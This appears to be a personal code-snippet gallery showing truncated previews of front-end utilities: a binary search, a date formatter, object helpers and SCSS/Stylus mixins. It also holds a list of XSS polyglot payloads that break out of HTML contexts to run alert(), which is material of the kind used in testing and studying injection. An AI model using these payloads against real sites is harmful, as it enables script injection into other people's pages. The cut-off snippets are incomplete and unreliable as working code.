HelKyle HelKyle

Typography

Headings from h1 through h6 are constructed with a # for each level:

# h1 Heading
## h2 Heading
### h3 Heading

	<!DOCTYPE html>
	<html>

	<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<style>
	.popup {
	display: none;

	// 二分找下限
	function lower_bound(nums, target) {
	let lo = 0, hi = nums.length;

	while (lo < hi) {
	const mid = lo + Math.floor((hi - lo) / 2);

	if (nums[mid] >= target) {
	hi = mid;
	} else {

	javascript:"/'/`/--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/<svg/*/onload=alert()//>
	javascript:"/'/`/\" /</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/<html//onmouseover=alert()//>
	javascript:"/\"/`/' /</template></textarea></noembed></noscript></title></style></script>--><svg onload=/<html//onmouseover=alert()//>
	javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/--><html / onmouseover=alert()//'>`
	javascript:`/\"/--><svg onload='/</template></noembed></noscript></style></title></textarea></script><html onmouseover="/*/ alert()//'">`
	javascript:"/'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame / onload=alert()//</script>
	javascript:"/`/\"/'/</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/<i<frame// onload=alert()//</Script>
	javascript:`</template>\"///"//<

	function dateFormat (date, fmt) {
	if (!(date instanceof Date)) {
	date = new Date(date)
	}
	if (isNaN(date.getTime())) {
	return '??'
	}
	var o = {
	'M+': date.getMonth() + 1,
	'D+': date.getDate(),

	function mapValues(obj, fn) {
	return Object.keys(obj).reduce((result, key) => {
	result[key] = fn(obj[key], key);
	return result;
	}, {});
	}

	function pick(obj, fn) {
	return Object.keys(obj).reduce((result, key) => {
	if (fn(obj[key])) {


	@mixin for-size($size) {
	@if $size == phone-only {
	@media (max-width: 599px) { @content; }
	} @else if $size == tablet-portrait-up {
	@media (min-width: 600px) { @content; }
	} @else if $size == tablet-landscape-up {
	@media (min-width: 900px) { @content; }
	} @else if $size == desktop-up {
	@media (min-width: 1200px) { @content; }

	/**
	* An arrow mixin for Stylus, based on @shojberg's "cssarrowplease.com"
	* @param {Position} position
	* @param {size, color} arrow
	* @param {size, color} border (optional)
	*/
	arrow(position, arrow, border = 0 white)
	// Resolve arguments
	$arrowSize = arrow[0]
	$arrowColor = arrow[1]